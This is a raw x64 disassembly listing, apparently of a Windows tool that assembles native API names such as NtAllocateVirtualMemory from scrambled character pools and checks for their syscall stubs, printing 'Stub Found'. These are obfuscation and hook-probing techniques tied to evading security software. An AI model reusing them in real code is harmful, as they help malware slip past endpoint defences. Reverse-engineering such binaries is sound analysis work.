lea rax, [rbp + 0xa20]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0xa40]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0xa60]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0xa80]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0xaa0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0xac0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0xae0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0xb00]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0xb20]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0xb40]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0xb60]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0xb80]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0xba0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0xbc0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0xbef]
mov rcx, rax
call fcn.140028140
nop
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0xbf0]
mov rcx, rax
call fcn.14002aca0
mov r9, qword [rbp + 0x2ec8]
mov r8, qword [rbp + 0x2ee8]
mov rdx, qword [rbp + 0x2ec0]
lea rax, [rbp + 0xbf0]
mov rcx, qword [rbp + 0x2f68]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2fb0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2ebc], eax
lea rax, [rbp + 0xbf0]
mov rcx, rax
call fcn.14002b900
cmp dword [rbp + 0x2ebc], 0
je 0x14000481f
lea rbx, [0x14007a377]
jmp 0x140004826
lea rbx, [0x14007a37c]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.140023600
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0xddf]
mov qword [rbp + 0x2e58], rax
nop
nop
lea rdx, [rbp + 0xddf]
lea rax, [rbp + 0xdb0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.14002b140
lea rax, [rbp + 0xd90]
lea rdx, [rbp + 0xdb0]
lea r8, [0x14007a35b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0xd70]
lea rdx, [rbp + 0xd90]
lea r8, [0x14007a3a5]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0xd50]
lea rdx, [rbp + 0xd70]
lea r8, [0x14007a367]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0xd30]
lea rdx, [rbp + 0xd50]
lea r8, [0x14007a3a7]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0xd10]
lea rdx, [rbp + 0xd30]
lea r8, [0x14007a36f]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0xcf0]
lea rdx, [rbp + 0xd10]
lea r8, [0x14007a373]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0xcd0]
lea rdx, [rbp + 0xcf0]
lea r8, [0x14007a367]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0xcb0]
lea rdx, [rbp + 0xcd0]
lea r8, [0x14007a39b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0xc90]
lea rdx, [rbp + 0xcb0]
lea r8, [0x14007a39d]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0xc70]
lea rdx, [rbp + 0xc90]
lea r8, [0x14007a36d]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0xc50]
lea rdx, [rbp + 0xc70]
lea r8, [0x14007a367]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0xc30]
lea rdx, [rbp + 0xc50]
lea r8, [0x14007a365]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0xc10]
lea rdx, [rbp + 0xc30]
lea r8, [0x14007a39f]
mov rcx, rax
call fcn.14002c010
lea rdx, [rbp + 0xc10]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.14002b940
lea rax, [rbp + 0xc10]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0xc30]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0xc50]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0xc70]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0xc90]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0xcb0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0xcd0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0xcf0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0xd10]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0xd30]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0xd50]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0xd70]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0xd90]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0xdb0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0xddf]
mov rcx, rax
call fcn.140028140
nop
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0xde0]
mov rcx, rax
call fcn.14002aca0
mov r9, qword [rbp + 0x2ec8]
mov r8, qword [rbp + 0x2ee8]
mov rdx, qword [rbp + 0x2ec0]
lea rax, [rbp + 0xde0]
mov rcx, qword [rbp + 0x2f60]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2fb0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2ebc], eax
lea rax, [rbp + 0xde0]
mov rcx, rax
call fcn.14002b900
cmp dword [rbp + 0x2ebc], 0
je 0x140004b64
lea rbx, [0x14007a377]
jmp 0x140004b6b
lea rbx, [0x14007a37c]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.140023600
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x10af]
mov qword [rbp + 0x2e50], rax
nop
nop
lea rdx, [rbp + 0x10af]
lea rax, [rbp + 0x1080]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.14002b140
lea rax, [rbp + 0x1060]
lea rdx, [rbp + 0x1080]
lea r8, [0x14007a35b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1040]
lea rdx, [rbp + 0x1060]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1020]
lea rdx, [rbp + 0x1040]
lea r8, [0x14007a365]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1000]
lea rdx, [rbp + 0x1020]
lea r8, [0x14007a36b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0xfe0]
lea rdx, [rbp + 0x1000]
lea r8, [0x14007a35b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0xfc0]
lea rdx, [rbp + 0xfe0]
lea r8, [0x14007a3a9]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0xfa0]
lea rdx, [rbp + 0xfc0]
lea r8, [0x14007a361]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0xf80]
lea rdx, [rbp + 0xfa0]
lea r8, [0x14007a36d]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0xf60]
lea rdx, [rbp + 0xf80]
lea r8, [0x14007a3ab]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0xf40]
lea rdx, [rbp + 0xf60]
lea r8, [0x14007a36b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0xf20]
lea rdx, [rbp + 0xf40]
lea r8, [0x14007a3ad]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0xf00]
lea rdx, [rbp + 0xf20]
lea r8, [0x14007a3af]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0xee0]
lea rdx, [rbp + 0xf00]
lea r8, [0x14007a35f]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0xec0]
lea rdx, [rbp + 0xee0]
lea r8, [0x14007a367]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0xea0]
lea rdx, [rbp + 0xec0]
lea r8, [0x14007a3b1]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0xe80]
lea rdx, [rbp + 0xea0]
lea r8, [0x14007a3b3]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0xe60]
lea rdx, [rbp + 0xe80]
lea r8, [0x14007a3b5]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0xe40]
lea rdx, [rbp + 0xe60]
lea r8, [0x14007a367]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0xe20]
lea rdx, [rbp + 0xe40]
lea r8, [0x14007a363]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0xe00]
lea rdx, [rbp + 0xe20]
lea r8, [0x14007a35b]
mov rcx, rax
call fcn.14002c010
lea rdx, [rbp + 0xe00]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.14002b940
lea rax, [rbp + 0xe00]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0xe20]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0xe40]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0xe60]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0xe80]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0xea0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0xec0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0xee0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0xf00]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0xf20]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0xf40]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0xf60]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0xf80]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0xfa0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0xfc0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0xfe0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1000]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1020]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1040]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1060]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1080]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x10af]
mov rcx, rax
call fcn.140028140
nop
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x10b0]
mov rcx, rax
call fcn.14002aca0
mov r9, qword [rbp + 0x2ec8]
mov r8, qword [rbp + 0x2ee8]
mov rdx, qword [rbp + 0x2ec0]
lea rax, [rbp + 0x10b0]
mov rcx, qword [rbp + 0x2f58]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2fb0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2ebc], eax
lea rax, [rbp + 0x10b0]
mov rcx, rax
call fcn.14002b900
cmp dword [rbp + 0x2ebc], 0
je 0x140004fdd
lea rbx, [0x14007a377]
jmp 0x140004fe4
lea rbx, [0x14007a37c]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.140023600
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x13ff]
mov qword [rbp + 0x2e48], rax
nop
nop
lea rdx, [rbp + 0x13ff]
lea rax, [rbp + 0x13d0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.14002b140
lea rax, [rbp + 0x13b0]
lea rdx, [rbp + 0x13d0]
lea r8, [0x14007a35b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1390]
lea rdx, [rbp + 0x13b0]
lea r8, [0x14007a3b7]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1370]
lea rdx, [rbp + 0x1390]
lea r8, [0x14007a36f]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1350]
lea rdx, [rbp + 0x1370]
lea r8, [0x14007a367]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1330]
lea rdx, [rbp + 0x1350]
lea r8, [0x14007a36d]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1310]
lea rdx, [rbp + 0x1330]
lea r8, [0x14007a375]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x12f0]
lea rdx, [rbp + 0x1310]
lea r8, [0x14007a3b9]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x12d0]
lea rdx, [rbp + 0x12f0]
lea r8, [0x14007a3ad]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x12b0]
lea rdx, [rbp + 0x12d0]
lea r8, [0x14007a3bb]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1290]
lea rdx, [rbp + 0x12b0]
lea r8, [0x14007a361]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1270]
lea rdx, [rbp + 0x1290]
lea r8, [0x14007a36d]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1250]
lea rdx, [rbp + 0x1270]
lea r8, [0x14007a373]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1230]
lea rdx, [rbp + 0x1250]
lea r8, [0x14007a365]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1210]
lea rdx, [rbp + 0x1230]
lea r8, [0x14007a35b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x11f0]
lea rdx, [rbp + 0x1210]
lea r8, [0x14007a36b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x11d0]
lea rdx, [rbp + 0x11f0]
lea r8, [0x14007a361]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x11b0]
lea rdx, [rbp + 0x11d0]
lea r8, [0x14007a3ad]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1190]
lea rdx, [rbp + 0x11b0]
lea r8, [0x14007a397]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1170]
lea rdx, [rbp + 0x1190]
lea r8, [0x14007a36d]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1150]
lea rdx, [rbp + 0x1170]
lea r8, [0x14007a361]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1130]
lea rdx, [rbp + 0x1150]
lea r8, [0x14007a363]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1110]
lea rdx, [rbp + 0x1130]
lea r8, [0x14007a367]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x10f0]
lea rdx, [rbp + 0x1110]
lea r8, [0x14007a3a7]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x10d0]
lea rdx, [rbp + 0x10f0]
lea r8, [0x14007a3a7]
mov rcx, rax
call fcn.14002c010
lea rdx, [rbp + 0x10d0]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.14002b940
lea rax, [rbp + 0x10d0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x10f0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1110]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1130]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1150]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1170]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1190]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x11b0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x11d0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x11f0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1210]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1230]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1250]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1270]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1290]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x12b0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x12d0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x12f0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1310]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1330]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1350]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1370]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1390]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x13b0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x13d0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x13ff]
mov rcx, rax
call fcn.140028140
nop
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x1400]
mov rcx, rax
call fcn.14002aca0
mov r9, qword [rbp + 0x2ec8]
mov r8, qword [rbp + 0x2ee8]
mov rdx, qword [rbp + 0x2ec0]
lea rax, [rbp + 0x1400]
mov rcx, qword [rbp + 0x2f50]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2fb0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2ebc], eax
lea rax, [rbp + 0x1400]
mov rcx, rax
call fcn.14002b900
cmp dword [rbp + 0x2ebc], 0
je 0x140005506
lea rbx, [0x14007a377]
jmp 0x14000550d
lea rbx, [0x14007a37c]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.140023600
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x168f]
mov qword [rbp + 0x2e40], rax
nop
nop
lea rdx, [rbp + 0x168f]
lea rax, [rbp + 0x1660]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.14002b140
lea rax, [rbp + 0x1640]
lea rdx, [rbp + 0x1660]
lea r8, [0x14007a35b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1620]
lea rdx, [rbp + 0x1640]
lea r8, [0x14007a3a5]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1600]
lea rdx, [rbp + 0x1620]
lea r8, [0x14007a367]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x15e0]
lea rdx, [rbp + 0x1600]
lea r8, [0x14007a365]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x15c0]
lea rdx, [rbp + 0x15e0]
lea r8, [0x14007a39f]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x15a0]
lea rdx, [rbp + 0x15c0]
lea r8, [0x14007a369]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1580]
lea rdx, [rbp + 0x15a0]
lea r8, [0x14007a36b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1560]
lea rdx, [rbp + 0x1580]
lea r8, [0x14007a36d]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1540]
lea rdx, [rbp + 0x1560]
lea r8, [0x14007a35b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1520]
lea rdx, [rbp + 0x1540]
lea r8, [0x14007a36f]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1500]
lea rdx, [rbp + 0x1520]
lea r8, [0x14007a365]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x14e0]
lea rdx, [rbp + 0x1500]
lea r8, [0x14007a35f]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x14c0]
lea rdx, [rbp + 0x14e0]
lea r8, [0x14007a371]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x14a0]
lea rdx, [rbp + 0x14c0]
lea r8, [0x14007a367]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1480]
lea rdx, [rbp + 0x14a0]
lea r8, [0x14007a373]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1460]
lea rdx, [rbp + 0x1480]
lea r8, [0x14007a361]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1440]
lea rdx, [rbp + 0x1460]
lea r8, [0x14007a36d]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1420]
lea rdx, [rbp + 0x1440]
lea r8, [0x14007a375]
mov rcx, rax
call fcn.14002c010
lea rdx, [rbp + 0x1420]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.14002b940
lea rax, [rbp + 0x1420]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1440]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1460]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1480]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x14a0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x14c0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x14e0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1500]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1520]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1540]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1560]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1580]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x15a0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x15c0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x15e0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1600]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1620]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1640]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1660]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x168f]
mov rcx, rax
call fcn.140028140
nop
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x1690]
mov rcx, rax
call fcn.14002aca0
mov r9, qword [rbp + 0x2ec8]
mov r8, qword [rbp + 0x2ee8]
mov rdx, qword [rbp + 0x2ec0]
lea rax, [rbp + 0x1690]
mov rcx, qword [rbp + 0x2f48]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2fb0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2ebc], eax
lea rax, [rbp + 0x1690]
mov rcx, rax
call fcn.14002b900
cmp dword [rbp + 0x2ebc], 0
je 0x140005927
lea rbx, [0x14007a377]
jmp 0x14000592e
lea rbx, [0x14007a37c]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.140023600
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x179f]
mov qword [rbp + 0x2e38], rax
nop
nop
lea rdx, [rbp + 0x179f]
lea rax, [rbp + 0x1770]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.14002b140
lea rax, [rbp + 0x1750]
lea rdx, [rbp + 0x1770]
lea r8, [0x14007a35b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1730]
lea rdx, [rbp + 0x1750]
lea r8, [0x14007a399]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1710]
lea rdx, [rbp + 0x1730]
lea r8, [0x14007a35f]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x16f0]
lea rdx, [rbp + 0x1710]
lea r8, [0x14007a361]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x16d0]
lea rdx, [rbp + 0x16f0]
lea r8, [0x14007a3a7]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x16b0]
lea rdx, [rbp + 0x16d0]
lea r8, [0x14007a367]
mov rcx, rax
call fcn.14002c010
lea rdx, [rbp + 0x16b0]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.14002b940
lea rax, [rbp + 0x16b0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x16d0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x16f0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1710]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1730]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1750]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1770]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x179f]
mov rcx, rax
call fcn.140028140
nop
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x17a0]
mov rcx, rax
call fcn.14002aca0
mov r9, qword [rbp + 0x2ec8]
mov r8, qword [rbp + 0x2ee8]
mov rdx, qword [rbp + 0x2ec0]
lea rax, [rbp + 0x17a0]
mov rcx, qword [rbp + 0x2f40]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2fb0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2ebc], eax
lea rax, [rbp + 0x17a0]
mov rcx, rax
call fcn.14002b900
cmp dword [rbp + 0x2ebc], 0
je 0x140005b38
lea rbx, [0x14007a377]
jmp 0x140005b3f
lea rbx, [0x14007a37c]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.140023600
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x196f]
mov qword [rbp + 0x2e30], rax
nop
nop
lea rdx, [rbp + 0x196f]
lea rax, [rbp + 0x1940]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.14002b140
lea rax, [rbp + 0x1920]
lea rdx, [rbp + 0x1940]
lea r8, [0x14007a35b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1900]
lea rdx, [rbp + 0x1920]
lea r8, [0x14007a3b1]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x18e0]
lea rdx, [rbp + 0x1900]
lea r8, [0x14007a3bd]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x18c0]
lea rdx, [rbp + 0x18e0]
lea r8, [0x14007a367]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x18a0]
lea rdx, [rbp + 0x18c0]
lea r8, [0x14007a3ad]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1880]
lea rdx, [rbp + 0x18a0]
lea r8, [0x14007a397]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1860]
lea rdx, [rbp + 0x1880]
lea r8, [0x14007a36d]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1840]
lea rdx, [rbp + 0x1860]
lea r8, [0x14007a361]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1820]
lea rdx, [rbp + 0x1840]
lea r8, [0x14007a363]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1800]
lea rdx, [rbp + 0x1820]
lea r8, [0x14007a367]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x17e0]
lea rdx, [rbp + 0x1800]
lea r8, [0x14007a3a7]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x17c0]
lea rdx, [rbp + 0x17e0]
lea r8, [0x14007a3a7]
mov rcx, rax
call fcn.14002c010
lea rdx, [rbp + 0x17c0]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.14002b940
lea rax, [rbp + 0x17c0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x17e0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1800]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1820]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1840]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1860]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1880]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x18a0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x18c0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x18e0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1900]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1920]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1940]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x196f]
mov rcx, rax
call fcn.140028140
nop
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x1970]
mov rcx, rax
call fcn.14002aca0
mov r9, qword [rbp + 0x2ec8]
mov r8, qword [rbp + 0x2ee8]
mov rdx, qword [rbp + 0x2ec0]
lea rax, [rbp + 0x1970]
mov rcx, qword [rbp + 0x2f38]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2fb0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2ebc], eax
lea rax, [rbp + 0x1970]
mov rcx, rax
call fcn.14002b900
cmp dword [rbp + 0x2ebc], 0
je 0x140005e51
lea rbx, [0x14007a377]
jmp 0x140005e58
